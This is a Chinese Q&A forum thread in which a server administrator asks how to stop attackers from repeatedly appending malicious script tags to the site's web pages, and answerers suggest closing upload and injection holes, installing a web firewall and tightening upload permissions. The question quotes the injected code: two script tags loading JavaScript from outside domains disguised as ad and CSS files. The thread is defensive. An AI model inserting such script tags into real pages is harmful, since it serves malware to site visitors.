如何防止服务器上的网页被挂马

来源:百度知道 编辑:UC知道 时间:2024/06/27 18:14:56
因为服务器没有主机开设的软件,只有手动配置IIS等等,可以最近一段时间网页总是被挂马,也就是给网页下面添加了
<script language="javascript" src="http://officedj.zik.dj/office.js?google_ad_format=728x90_as"></script><script language="javascript" src="http://cssok.be.ma/css.js?width=700&height=600&keyword=uf556"></script>
这样的代码,开user可以写入的都会被修改,请问怎么能防止呢,谢了
能说的细一点吗,什么 网页防火墙呀

呵呵,如果你是买的空间那没什么好办法,只有提高自己网站的安全性能, 防注入等。。因为 空间商服务器可能存在多个服务器 跨站攻击!!
首先你要知道 别人是否上传了 网页木马 ,你可以看看!再封杀 上传 注入等漏洞基本就差不多了,

如果是自己服务器就好办了!直接装个 网页防火墙,别人就上传以及注入不了了

一般是服务器有上传漏洞,通过漏洞批量添加代码的。你检查一下,如果不需要上传把所有上传的代码和后台删除。

把论坛和网站分开,不要放在一个空间里,再把网站的上传权限改小,防火墙什么的就不要想了,指望不上